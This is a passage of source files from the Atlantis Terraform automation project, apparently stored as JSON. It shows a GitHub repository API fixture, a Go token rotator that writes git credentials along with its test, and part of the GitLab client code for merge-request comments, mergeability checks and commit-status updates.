\"https://api.github.com/repos/runatlantis/atlantis/compare/{base}...{head}\",\n  \"merges_url\": \"https://api.github.com/repos/runatlantis/atlantis/merges\",\n  \"archive_url\": \"https://api.github.com/repos/runatlantis/atlantis/{archive_format}{/ref}\",\n  \"downloads_url\": \"https://api.github.com/repos/runatlantis/atlantis/downloads\",\n  \"issues_url\": \"https://api.github.com/repos/runatlantis/atlantis/issues{/number}\",\n  \"pulls_url\": \"https://api.github.com/repos/runatlantis/atlantis/pulls{/number}\",\n  \"milestones_url\": \"https://api.github.com/repos/runatlantis/atlantis/milestones{/number}\",\n  \"notifications_url\": \"https://api.github.com/repos/runatlantis/atlantis/notifications{?since,all,participating}\",\n  \"labels_url\": \"https://api.github.com/repos/runatlantis/atlantis/labels{/name}\",\n  \"releases_url\": \"https://api.github.com/repos/runatlantis/atlantis/releases{/id}\",\n  \"deployments_url\": \"https://api.github.com/repos/runatlantis/atlantis/deployments\",\n  \"created_at\": \"2019-01-23T17:58:45Z\",\n  \"updated_at\": \"2019-02-08T21:46:28Z\",\n  \"pushed_at\": \"2019-02-10T01:49:25Z\",\n  \"git_url\": \"git://github.com/runatlantis/atlantis.git\",\n  \"ssh_url\": \"git@github.com:runatlantis/atlantis.git\",\n  \"clone_url\": \"https://github.com/runatlantis/atlantis.git\",\n  \"svn_url\": \"https://github.com/runatlantis/atlantis\",\n  \"homepage\": null,\n  \"size\": 32,\n  \"stargazers_count\": 0,\n  \"watchers_count\": 0,\n  \"language\": \"HCL\",\n  \"has_issues\": true,\n  \"has_projects\": true,\n  \"has_downloads\": true,\n  \"has_wiki\": true,\n  \"has_pages\": false,\n  \"forks_count\": 0,\n  \"mirror_url\": null,\n  \"archived\": false,\n  \"open_issues_count\": 1,\n  \"license\": null,\n  \"forks\": 0,\n  \"open_issues\": 1,\n  \"watchers\": 0,\n  \"default_branch\": \"main\",\n  \"permissions\": {\n    \"admin\": true,\n    \"push\": true,\n    \"pull\": true\n  },\n  \"allow_squash_merge\": true,\n  \"allow_merge_commit\": true,\n  \"allow_rebase_merge\": true,\n  \"network_count\": 0,\n  \"subscribers_count\": 0\n}\n"
  },
  {
    "path": "server/events/vcs/github/token_rotator.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage github\n\nimport (\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/scheduled\"\n)\n\n// GithubTokenRotator continuously tries to rotate the github app access token every 30 seconds and writes the ~/.git-credentials file\ntype TokenRotator interface {\n\tRun()\n\tGenerateJob() (scheduled.JobDefinition, error)\n}\n\ntype tokenRotator struct {\n\tlog               logging.SimpleLogging\n\tgithubCredentials Credentials\n\tgithubHostname    string\n\tgitUser           string\n\thomeDirPath       string\n}\n\nfunc NewTokenRotator(\n\tlog logging.SimpleLogging,\n\tgithubCredentials Credentials,\n\tgithubHostname string,\n\tgitUser string,\n\thomeDirPath string) TokenRotator {\n\n\treturn &tokenRotator{\n\t\tlog:               log,\n\t\tgithubCredentials: githubCredentials,\n\t\tgithubHostname:    githubHostname,\n\t\tgitUser:           gitUser,\n\t\thomeDirPath:       homeDirPath,\n\t}\n}\n\n// make sure interface is implemented correctly\nvar _ TokenRotator = (*tokenRotator)(nil)\n\nfunc (r *tokenRotator) GenerateJob() (scheduled.JobDefinition, error) {\n\n\treturn scheduled.JobDefinition{\n\t\tJob:    r,\n\t\tPeriod: 30 * time.Second,\n\t}, r.rotate()\n}\n\nfunc (r *tokenRotator) Run() {\n\terr := r.rotate()\n\tif err != nil {\n\t\t// at least log the error message here, as we want to notify the that user that the key rotation wasn't successful\n\t\tr.log.Err(err.Error())\n\t}\n}\n\nfunc (r *tokenRotator) rotate() error {\n\tr.log.Debug(\"Refreshing Github tokens for .git-credentials\")\n\n\ttoken, err := r.githubCredentials.GetToken()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"getting github token: %w\", err)\n\t}\n\tr.log.Debug(\"Token successfully refreshed\")\n\n\t// https://developer.github.com/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation\n\tif err := common.WriteGitCreds(r.gitUser, token, r.githubHostname, r.homeDirPath, r.log, true); err != nil {\n\t\treturn fmt.Errorf(\"writing ~/.git-credentials file: %w\", err)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "server/events/vcs/github/token_rotator_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage github_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github/testdata\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc Test_githubTokenRotator_GenerateJob(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tdefer disableSSLVerification()()\n\ttestServer, err := testdata.GithubAppTestServer(t)\n\tOk(t, err)\n\n\tanonCreds := &github.AnonymousCredentials{}\n\tanonClient, err := github.New(testServer, anonCreds, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\ttempSecrets, err := anonClient.ExchangeCode(logger, \"good-code\")\n\tOk(t, err)\n\ttype fields struct {\n\t\tgithubCredentials github.Credentials\n\t}\n\ttests := []struct {\n\t\tname             string\n\t\tfields           fields\n\t\tcredsFileWritten bool\n\t\twantErr          bool\n\t}{\n\t\t{\n\t\t\tname: \"Should write .git-credentials file on start\",\n\t\t\tfields: fields{&github.AppCredentials{\n\t\t\t\tAppID:    tempSecrets.ID,\n\t\t\t\tKey:      []byte(testdata.PrivateKey),\n\t\t\t\tHostname: testServer,\n\t\t\t}},\n\t\t\tcredsFileWritten: true,\n\t\t\twantErr:          false,\n\t\t},\n\t\t{\n\t\t\tname: \"Should return an error if pem data is missing or wrong\",\n\t\t\tfields: fields{&github.AppCredentials{\n\t\t\t\tAppID:    tempSecrets.ID,\n\t\t\t\tKey:      []byte(\"some bad formatted pem key\"),\n\t\t\t\tHostname: testServer,\n\t\t\t}},\n\t\t\tcredsFileWritten: false,\n\t\t\twantErr:          true,\n\t\t},\n\t\t{\n\t\t\tname: \"Should return an error if app id is missing or wrong\",\n\t\t\tfields: fields{&github.AppCredentials{\n\t\t\t\tAppID:    3819,\n\t\t\t\tKey:      []byte(testdata.PrivateKey),\n\t\t\t\tHostname: testServer,\n\t\t\t}},\n\t\t\tcredsFileWritten: false,\n\t\t\twantErr:          true,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ttmpDir := t.TempDir()\n\t\t\tt.Setenv(\"HOME\", tmpDir)\n\t\t\tr := github.NewTokenRotator(logging.NewNoopLogger(t), tt.fields.githubCredentials, testServer, \"x-access-token\", tmpDir)\n\t\t\tgot, err := r.GenerateJob()\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"githubTokenRotator.GenerateJob() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif tt.credsFileWritten {\n\t\t\t\tcredsFileContent := fmt.Sprintf(`https://x-access-token:some-token@%s`, testServer)\n\t\t\t\tactContents, err := os.ReadFile(filepath.Join(tmpDir, \".git-credentials\"))\n\t\t\t\tOk(t, err)\n\t\t\t\tEquals(t, credsFileContent, string(actContents))\n\t\t\t}\n\t\t\tEquals(t, 30*time.Second, got.Period)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/client.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage gitlab\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/jpillora/backoff\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\n// maxCommentLength is the maximum number of chars allowed by Gitlab in a\n// single comment, reduced by 100 to allow comments to be hidden with a summary header\n// and footer.\nconst maxCommentLength = 1000000 - 100\n\ntype Client struct {\n\tClient *gitlab.Client\n\t// Version is set to the server version.\n\tVersion *version.Version\n\t// All GitLab groups configured in allowlists and policies\n\tConfiguredGroups []string\n\t// PollingInterval is the time between successive polls, where applicable.\n\tPollingInterval time.Duration\n\t// PollingInterval is the total duration for which to poll, where applicable.\n\tPollingTimeout time.Duration\n\t// StatusRetryEnabled enables enhanced retry logic for pipeline status updates.\n\tStatusRetryEnabled bool\n}\n\n// commonMarkSupported is a version constraint that is true when this version of\n// GitLab supports CommonMark, a markdown specification.\n// See https://about.gitlab.com/2018/07/22/gitlab-11-1-released/\nvar commonMarkSupported = version.MustConstraints(version.NewConstraint(\">=11.1\"))\n\n// gitlabClientUnderTest is true if we're running under go test.\nvar gitlabClientUnderTest = false\n\n// NewClient returns a valid GitLab client.\nfunc New(hostname string, token string, configuredGroups []string, logger logging.SimpleLogging) (*Client, error) {\n\tlogger.Debug(\"Creating new GitLab client for %s\", hostname)\n\tclient := &Client{\n\t\tConfiguredGroups: configuredGroups,\n\t\tPollingInterval:  time.Second,\n\t\tPollingTimeout:   time.Second * 30,\n\t}\n\n\t// Create the client differently depending on the base URL.\n\tif hostname == \"gitlab.com\" {\n\t\tglClient, err := gitlab.NewClient(token)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tclient.Client = glClient\n\t} else {\n\t\t// We assume the url will be over HTTPS if the user doesn't specify a scheme.\n\t\tabsoluteURL := hostname\n\t\tif !strings.HasPrefix(hostname, \"http://\") && !strings.HasPrefix(hostname, \"https://\") {\n\t\t\tabsoluteURL = \"https://\" + absoluteURL\n\t\t}\n\n\t\turl, err := url.Parse(absoluteURL)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing URL %q: %w\", absoluteURL, err)\n\t\t}\n\n\t\t// Warn if this hostname isn't resolvable. The GitLab client\n\t\t// doesn't give good error messages in this case.\n\t\tips, err := net.LookupIP(url.Hostname())\n\t\tif err != nil {\n\t\t\tlogger.Warn(\"unable to resolve %q: %s\", url.Hostname(), err)\n\t\t} else if len(ips) == 0 {\n\t\t\tlogger.Warn(\"found no IPs while resolving %q\", url.Hostname())\n\t\t}\n\n\t\t// Now we're ready to construct the client.\n\t\tabsoluteURL = strings.TrimSuffix(absoluteURL, \"/\")\n\t\tapiURL := fmt.Sprintf(\"%s/api/v4/\", absoluteURL)\n\t\tglClient, err := gitlab.NewClient(token, gitlab.WithBaseURL(apiURL))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tclient.Client = glClient\n\t}\n\n\t// Determine which version of GitLab is running.\n\tif !gitlabClientUnderTest {\n\t\tvar err error\n\t\tclient.Version, err = client.GetVersion(logger)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tlogger.Info(\"GitLab host '%s' is running version %s\", client.Client.BaseURL().Host, client.Version.String())\n\t}\n\n\treturn client, nil\n}\n\n// GetModifiedFiles returns the names of files that were modified in the merge request\n// relative to the repo root, e.g. parent/child/file.txt.\nfunc (g *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tlogger.Debug(\"Getting modified files for GitLab merge request %d\", pull.Num)\n\tconst maxPerPage = 100\n\tvar files []string\n\tnextPage := 1\n\t// Constructing the api url by hand so we can do pagination.\n\tapiURL := fmt.Sprintf(\"projects/%s/merge_requests/%d/changes\", url.QueryEscape(repo.FullName), pull.Num)\n\tfor {\n\t\topts := gitlab.ListOptions{\n\t\t\tPage:    nextPage,\n\t\t\tPerPage: maxPerPage,\n\t\t}\n\t\treq, err := g.Client.NewRequest(\"GET\", apiURL, opts, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp := new(gitlab.Response)\n\t\tmr := new(gitlab.MergeRequest)\n\t\tpollingStart := time.Now()\n\t\tfor {\n\t\t\tresp, err = g.Client.Do(req, mr)\n\t\t\tif resp != nil {\n\t\t\t\tlogger.Debug(\"GET %s returned: %d\", apiURL, resp.StatusCode)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif mr.ChangesCount != \"\" {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif time.Since(pollingStart) > g.PollingTimeout {\n\t\t\t\treturn nil, fmt.Errorf(\"giving up polling %q after %s\", apiURL, g.PollingTimeout.String())\n\t\t\t}\n\t\t\ttime.Sleep(g.PollingInterval)\n\t\t}\n\n\t\tfor _, f := range mr.Changes {\n\t\t\tfiles = append(files, f.NewPath)\n\n\t\t\t// If the file was renamed, we'll want to run plan in the directory\n\t\t\t// it was moved from as well.\n\t\t\tif f.RenamedFile {\n\t\t\t\tfiles = append(files, f.OldPath)\n\t\t\t}\n\t\t}\n\t\tif resp.NextPage == 0 {\n\t\t\tbreak\n\t\t}\n\t\tnextPage = resp.NextPage\n\t}\n\n\treturn files, nil\n}\n\n// CreateComment creates a comment on the merge request.\nfunc (g *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error {\n\tlogger.Debug(\"Creating comment on GitLab merge request %d\", pullNum)\n\tcomments := common.SplitComment(logger, comment, maxCommentLength, 0, command)\n\tfor _, c := range comments {\n\t\t_, resp, err := g.Client.Notes.CreateMergeRequestNote(repo.FullName, pullNum, &gitlab.CreateMergeRequestNoteOptions{Body: gitlab.Ptr(c)})\n\t\tif resp != nil {\n\t\t\tlogger.Debug(\"POST /projects/%s/merge_requests/%d/notes returned: %d\", repo.FullName, pullNum, resp.StatusCode)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// ReactToComment adds a reaction to a comment.\nfunc (g *Client) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error {\n\tlogger.Debug(\"Adding reaction '%s' to comment %d on GitLab merge request %d\", reaction, commentID, pullNum)\n\t_, resp, err := g.Client.AwardEmoji.CreateMergeRequestAwardEmojiOnNote(repo.FullName, pullNum, int(commentID), &gitlab.CreateAwardEmojiOptions{Name: reaction})\n\tif resp != nil {\n\t\tlogger.Debug(\"POST /projects/%s/merge_requests/%d/notes/%d/award_emoji returned: %d\", repo.FullName, pullNum, commentID, resp.StatusCode)\n\t}\n\treturn err\n}\n\nfunc (g *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error {\n\tlogger.Debug(\"Hiding previous command comments on GitLab merge request %d\", pullNum)\n\tvar allComments []*gitlab.Note\n\n\tnextPage := 0\n\tfor {\n\t\tlogger.Debug(\"/projects/%v/merge_requests/%d/notes\", repo.FullName, pullNum)\n\t\tcomments, resp, err := g.Client.Notes.ListMergeRequestNotes(repo.FullName, pullNum,\n\t\t\t&gitlab.ListMergeRequestNotesOptions{\n\t\t\t\tSort:        gitlab.Ptr(\"asc\"),\n\t\t\t\tOrderBy:     gitlab.Ptr(\"created_at\"),\n\t\t\t\tListOptions: gitlab.ListOptions{Page: nextPage},\n\t\t\t})\n\t\tif resp != nil {\n\t\t\tlogger.Debug(\"GET /projects/%s/merge_requests/%d/notes returned: %d\", repo.FullName, pullNum, resp.StatusCode)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"listing comments: %w\", err)\n\t\t}\n\t\tallComments = append(allComments, comments...)\n\t\tif resp.NextPage == 0 {\n\t\t\tbreak\n\t\t}\n\t\tnextPage = resp.NextPage\n\t}\n\n\tcurrentUser, _, err := g.Client.Users.CurrentUser()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error getting currentuser: %w\", err)\n\t}\n\n\tsummaryHeader := fmt.Sprintf(\"<!--- +-Superseded Command-+ ---><details><summary>Superseded Atlantis %s</summary>\", command)\n\tsummaryFooter := \"</details>\"\n\tlineFeed := \"\\n\"\n\n\tfor _, comment := range allComments {\n\t\t// Only process non-system comments authored by the Atlantis user\n\t\tif comment.System || (comment.Author.Username != \"\" && !strings.EqualFold(comment.Author.Username, currentUser.Username)) {\n\t\t\tcontinue\n\t\t}\n\n\t\tbody := strings.Split(comment.Body, \"\\n\")\n\t\tif len(body) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tfirstLine := strings.ToLower(body[0])\n\t\t// Skip processing comments that don't contain the command or contain the summary header in the first line\n\t\tif !strings.Contains(firstLine, strings.ToLower(command)) || firstLine == strings.ToLower(summaryHeader) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// If dir was specified, skip processing comments that don't contain the dir in the first line\n\t\tif dir != \"\" && !strings.Contains(firstLine, strings.ToLower(dir)) {\n\t\t\tcontinue\n\t\t}\n\n\t\tlogger.Debug(\"Updating merge request note: Repo: '%s', MR: '%d', comment ID: '%d'\", repo.FullName, pullNum, comment.ID)\n\t\tsupersededComment := summaryHeader + lineFeed + comment.Body + lineFeed + summaryFooter + lineFeed\n\n\t\t_, resp, err := g.Client.Notes.UpdateMergeRequestNote(repo.FullName, pullNum, comment.ID, &gitlab.UpdateMergeRequestNoteOptions{Body: &supersededComment})\n\t\tif resp != nil {\n\t\t\tlogger.Debug(\"PUT /projects/%s/merge_requests/%d/notes/%d returned: %d\", repo.FullName, pullNum, comment.ID, resp.StatusCode)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"updating comment %d: %w\", comment.ID, err)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// PullIsApproved returns true if the merge request was approved.\nfunc (g *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) {\n\tlogger.Debug(\"Checking if GitLab merge request %d is approved\", pull.Num)\n\tapprovals, resp, err := g.Client.MergeRequests.GetMergeRequestApprovals(repo.FullName, pull.Num)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /projects/%s/merge_requests/%d/approvals returned: %d\", repo.FullName, pull.Num, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn approvalStatus, err\n\t}\n\tif approvals.ApprovalsLeft > 0 {\n\t\treturn approvalStatus, nil\n\t}\n\treturn models.ApprovalStatus{\n\t\tIsApproved: true,\n\t}, nil\n}\n\n// PullIsMergeable returns true if the merge request can be merged.\n// In GitLab, there isn't a single field that tells us if the pull request is\n// mergeable so for now we check the merge_status and approvals_before_merge\n// fields.\n// In order to check if the repo required these, we'd need to make another API\n// call to get the repo settings.\n// It's also possible that GitLab implements their own \"mergeable\" field in\n// their API in the future.\n// See:\n// - https://gitlab.com/gitlab-org/gitlab-ee/issues/3169\n// - https://gitlab.com/gitlab-org/gitlab-ce/issues/42344\nfunc (g *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, _ []string) (models.MergeableStatus, error) {\n\tlogger.Debug(\"Checking if GitLab merge request %d is mergeable\", pull.Num)\n\tmr, resp, err := g.Client.MergeRequests.GetMergeRequest(repo.FullName, pull.Num, nil)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /projects/%s/merge_requests/%d returned: %d\", repo.FullName, pull.Num, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, err\n\t}\n\n\t// Prevent nil pointer error when mr.HeadPipeline is empty\n\t// See: https://github.com/runatlantis/atlantis/issues/1852\n\tcommit := pull.HeadCommit\n\tif mr.HeadPipeline != nil {\n\t\tcommit = mr.HeadPipeline.SHA\n\t}\n\n\t// Get project configuration\n\tproject, resp, err := g.Client.Projects.GetProject(mr.ProjectID, nil)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /projects/%d returned: %d\", mr.ProjectID, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, err\n\t}\n\n\t// Get Commit Statuses\n\tstatuses, _, err := g.Client.Commits.GetCommitStatuses(mr.ProjectID, commit, nil)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /projects/%d/commits/%s/statuses returned: %d\", mr.ProjectID, commit, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, err\n\t}\n\n\tfor _, status := range statuses {\n\t\t// Ignore any commit statuses with 'atlantis/apply' as prefix\n\t\tif strings.HasPrefix(status.Name, fmt.Sprintf(\"%s/%s\", vcsstatusname, command.Apply.String())) {\n\t\t\tcontinue\n\t\t}\n\t\tif !status.AllowFailure && project.OnlyAllowMergeIfPipelineSucceeds && status.Status != \"success\" {\n\t\t\treturn models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      fmt.Sprintf(\"Pipeline %s has status %s\", status.Name, status.Status),\n\t\t\t}, nil\n\t\t}\n\t}\n\n\tsupportsDetailedMergeStatus, err := g.SupportsDetailedMergeStatus(logger)\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, err\n\t}\n\n\tif supportsDetailedMergeStatus {\n\t\tlogger.Debug(\"Detailed merge status: '%s'\", mr.DetailedMergeStatus)\n\t} else {\n\t\tlogger.Debug(\"Merge status: '%s'\", mr.MergeStatus) //nolint:staticcheck // Need to reference deprecated field for backwards compatibility\n\t}\n\n\tres := isMergeable(mr, project, supportsDetailedMergeStatus)\n\tif res.IsMergeable {\n\t\tlogger.Debug(\"Merge request is mergeable\")\n\t} else {\n\t\tlogger.Debug(\"Merge request is not mergeable\")\n\t}\n\treturn res, nil\n}\n\n// gitlabIsMergeable a pure function that encapsulates the tricky logic behind determining whether a gitlab MR is mergeable\n// It doesn't make any external calls and cannot error, so is much easier to test\nfunc isMergeable(mr *gitlab.MergeRequest, project *gitlab.Project, supportsDetailedMergeStatus bool) models.MergeableStatus {\n\tisPipelineSkipped := false\n\tif mr.HeadPipeline != nil {\n\t\tisPipelineSkipped = mr.HeadPipeline.Status == \"skipped\"\n\t}\n\n\tif mr.ApprovalsBeforeMerge > 0 {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t\tReason:      fmt.Sprintf(\"Still require %d approvals\", mr.ApprovalsBeforeMerge),\n\t\t}\n\t}\n\tif !mr.BlockingDiscussionsResolved {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t\tReason:      \"Blocking discussions unresolved\",\n\t\t}\n\t}\n\tif mr.WorkInProgress {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t\tReason:      \"Work in progress\",\n\t\t}\n\t}\n\tif isPipelineSkipped && !project.AllowMergeOnSkippedPipeline {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t\tReason:      \"Pipeline was skipped\",\n\t\t}\n\t}\n\n\tif supportsDetailedMergeStatus {\n\t\tif mr.DetailedMergeStatus == \"mergeable\" ||\n\t\t\tmr.DetailedMergeStatus == \"ci_still_running\" ||\n\t\t\tmr.DetailedMergeStatus == \"ci_must_pass\" {\n\t\t\treturn models.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t}\n\t\t}\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t\tReason:      fmt.Sprintf(\"Merge status is %s\", mr.DetailedMergeStatus),\n\t\t}\n\t}\n\n\tmergeStatus := mr.MergeStatus //nolint:staticcheck // Need to reference deprecated field for backwards compatibility\n\tif mergeStatus == \"can_be_merged\" {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: true,\n\t\t}\n\t}\n\treturn models.MergeableStatus{\n\t\tIsMergeable: false,\n\t\tReason:      fmt.Sprintf(\"Merge status is %s\", mergeStatus),\n\t}\n}\n\nfunc (g *Client) SupportsDetailedMergeStatus(logger logging.SimpleLogging) (bool, error) {\n\tlogger.Debug(\"Checking if GitLab supports detailed merge status\")\n\tv, err := g.GetVersion(logger)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tcons, err := version.NewConstraint(\">= 15.6\")\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn cons.Check(v), nil\n}\n\n// UpdateStatus updates the build status of a commit.\nfunc (g *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error {\n\tgitlabState := gitlab.Pending\n\tswitch state {\n\tcase models.PendingCommitStatus:\n\t\tgitlabState = gitlab.Running\n\tcase models.FailedCommitStatus:\n\t\tgitlabState = gitlab.Failed\n\tcase models.SuccessCommitStatus:\n\t\tgitlabState = gitlab.Success\n\t}\n\n\tlogger.Info(\"Updating GitLab commit status for '%s' to '%s'\", src, gitlabState)\n\n\tsetCommitStatusOptions := &gitlab.SetCommitStatusOptions{\n\t\tState:       gitlabState,\n\t\tContext:     gitlab.Ptr(src),\n\t\tDescription: gitlab.Ptr(description),\n\t\tTargetURL:   &url,\n\t}\n\n\tpipelineMaxAttempts := 2\n\tpipelineRetryer := &backoff.Backoff{\n\t\tMin: 2 * time.Second,\n\t\tMax: 2 * time.Second,\n\t}\n\n\tif g.StatusRetryEnabled {\n\t\tpipelineMaxAttempts = 5\n\t\tpipelineRetryer = &backoff.Backoff{\n\t\t\tMin:    2 * time.Second,\n\t\t\tMax:    5 * time.Second,\n\t\t\tJitter: true,\n\t\t}\n\t}\n\n\tvar commit *gitlab.Commit\n\tvar resp *gitlab.Response\n\tvar err error\n\n\t// Try a couple of times to get the pipeline ID for the commit\n\tfor {\n\t\tattempt := int(pipelineRetryer.Attempt()) + 1\n\t\tcommit, resp, err = g.Client.Commits.GetCommit(repo.FullName, pull.HeadCommit, nil)\n\t\tif resp != nil {\n\t\t\tlogger.Debug(\"GET /projects/%s/repository/commits/%d: %d\", pull.BaseRepo.ID(), pull.HeadCommit, resp.StatusCode)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif commit.LastPipeline != nil {\n\t\t\tlogger.Info(\"Pipeline found for commit %s, setting pipeline ID to %d\", pull.HeadCommit, commit.LastPipeline.ID)\n\t\t\t// Set the pipeline ID to the last pipeline that ran for the commit\n\t\t\tsetCommitStatusOptions.PipelineID = gitlab.Ptr(commit.LastPipeline.ID)\n\t\t\tbreak\n\t\t}\n\t\tif attempt == pipelineMaxAttempts {\n\t\t\t// If we've exhausted all retries, set the Ref to the branch name\n\t\t\tlogger.Info(\"No pipeline found for commit %s, setting Ref to %s\", pull.HeadCommit, pull.HeadBranch)\n\t\t\tsetCommitStatusOptions.Ref = gitlab.Ptr(pull.HeadBranch)\n\t\t\tbreak\n\t\t}\n\t\tsleep := pipelineRetryer.Duration()\n\t\tlogger.Info(\"No pipeline found for commit %s, retrying in %s\", pull.HeadCommit, sleep)\n\t\ttime.Sleep(sleep)\n\t}\n\n\tvar (\n\t\tmaxAttempts = 10\n\t\tretryer     = &backoff.Backoff{\n\t\t\tJitter: true,\n\t\t\tMax:    g.PollingInterval,\n\t\t}\n\t)\n\n\tfor {\n\t\tattempt := int(retryer.Attempt()) + 1\n\t\tlogger := logger.With(\n\t\t\t\"attempt\", attempt,\n\t\t\t\"max_attempts\", maxAttempts,\n\t\t\t\"repo\", repo.FullName,\n\t\t\t\"commit\", commit.ShortID,\n\t\t\t\"state\", state.String(),\n\t\t)\n\n\t\t_, resp, err := g.Client.Commits.SetCommitStatus(repo.FullName, pull.HeadCommit, setCommitStatusOptions)\n\t\tif err == nil {\n\t\t\tif retryer.Attempt() > 0 {\n\t\t\t\tlogger.Info(\"GitLab returned HTTP [200 OK] after updating commit status\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t}\n\n\t\t// If the error indicates the status is already 'running', we can treat it as a success.\n\t\t// This can happen with parallel jobs. See https://github.com/runatlantis/atlantis/issues/2685.\n\t\tif gitlabState == gitlab.Running && strings.Contains(err.Error(), \"Cannot transition status via :run from :running\") {\n\t\t\tlogger.Info(\"Commit status is already 'running'; ignoring redundant update.\")\n\t\t\treturn nil\n\t\t}\n\n\t\tif attempt == maxAttempts {\n\t\t\treturn fmt.Errorf(\"failed to update commit status for '%s' @ '%s' to '%s' after %d attempts: %w\", repo.FullName, pull.HeadCommit, src, attempt, err)\n\t\t}\n\n\t\tif resp != nil {\n\t\t\tlogger.Debug(\"POST /projects/%s/statuses/%s returned: %d\", repo.FullName, pull.HeadCommit, resp.StatusCode)\n\n\t\t\t// GitLab returns a `409 Conflict` status when the commit pipeline status is being changed/locked by another request,\n\t\t\t// which is likely to happen if you use [`--parallel-pool-size > 1`] and [`parallel-plan|apply`].\n\t\t\t//\n\t\t\t// The likelihood of this happening is increased when the number of parallel apply jobs is increased.\n\t\t\t//\n\t\t\t// Returning the [err] without retrying will permanently leave the GitLab commit status in a \"running\" state,\n\t\t\t// which would prevent Atlantis from merging the merge request on [apply].\n\t\t\t//\n\t\t\t// GitLab does not allow merge requests to be merged when the pipeline 